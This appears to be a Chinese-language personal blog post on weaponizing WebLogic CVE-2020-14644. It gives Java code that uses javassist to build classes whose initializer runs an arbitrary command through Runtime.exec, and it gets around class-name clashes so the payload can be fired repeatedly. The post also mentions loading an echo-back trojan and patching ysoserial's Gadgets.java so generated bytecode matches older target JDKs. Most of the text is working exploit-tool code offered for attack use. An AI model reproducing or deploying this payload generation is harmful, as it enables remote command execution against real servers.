Weaponization development

人间四月芳菲尽,山寺桃花始盛开。

LC62QI.md.jpg

(偷一张女朋友的拍的照片)

0x00 介绍

在写武器化的工具中自己遇到了一些问题,问题比较多就慢慢的写文章解决吧。

0x01 Q&A

问题:

在CVE-2020-14644中我遇到了第一个问题就是解决defineClass加载的类,不允许同名的问题

如果打一次生成一次恶意的class在加载肯定不优雅。而CVE-2020-14644又是比较不错的攻击载荷(执行java代码并且不出网)

解决:

CVE-2020-14644的漏洞原理这里就不介绍了可以看文章

Oracle cve 2020-14644 分析利用以及回显思路

Weblogic 远程命令执行漏洞(CVE-2020-14644)分析

这里直接给出代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("payloads.test");
String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\\\\", "\\\\\\\\").replaceAll("\"", "\\\"") + "\");";
ctClass.makeClassInitializer().insertBefore(cmd);
String clazzName = "payloads.test" + System.nanoTime();
ctClass.setName(clazzName);
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();//冻结

//生成md5
MessageDigest digest = MessageDigest.getInstance("MD5");
digest.update(bytes);
byte[] digest1 = digest.digest();

Constructor declaredConstructor = ClassIdentity.getDeclaredConstructor(String.class, String.class, String.class);
declaredConstructor.setAccessible(true);
Object classIdentity = declaredConstructor.newInstance("payloads", clazzName.substring(clazzName.lastIndexOf(46) + 1), toHex(digest1));

Method getVersion = ClassIdentity.getMethod("getVersion");
Object version = getVersion.invoke(classIdentity);
ctClass.replaceClassName(clazzName, clazzName + "$" + version);

Object o = ClassDefinition.getConstructor(ClassIdentity, byte[].class).newInstance(classIdentity, ctClass.toBytecode());
Object constructor = remoteConstructor.getConstructor(ClassDefinition, Object[].class).newInstance(o, new Object[]{});
return constructor;

------------------------------------
private static final char[] HEX = "0123456789ABCDEF".toCharArray();

public static String toHex(byte[] ab) {
int cb = ab.length;
char[] ach = new char[cb * 2];
int ofb = 0;

for(int var4 = 0; ofb < cb; ++ofb) {
int n = ab[ofb] & 255;
ach[var4++] = HEX[n >> 4];
ach[var4++] = HEX[n & 15];
}

return new String(ach);
}

需要注意如果是注入回显的木马可以使用下面的代码,至少不需要通过javassist生成代码(至少自己不喜欢)

1
2
3
4
5
6
7
ClassPool pool = ClassPool.getDefault();
long FLAGS = System.nanoTime();
CtClass ctClass = pool.get("payloads.RemoteImpl");
String clazzName = "payloads.RemoteImpl" + FLAGS;
ctClass.setName(clazzName);
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();//冻结

0x02 Q&A

问题:

在写利用工具的时候依赖包的环境需要jdk8+,但是生成payload的时候需要注意一个问题就是加载字节码的时候不能高于目标环境的jdk版本,也就是说如果目标jdk是6,我们使用工具生成的payload并且发送payload是打不通的(只是对于加载字节码的payload)。这时候我们就需要修改class的jdk版本

解决:

如下修改yso中的代码 Gadgets.java

1
private static byte[] bytesVersion={49,50,51,52,53,54,55,56,57,58,59};

LRUIFx.md.png

可参考:https://gist.github.com/Firebasky/61e407e7d0ed9a453726b41e809d94d4


未完待续…….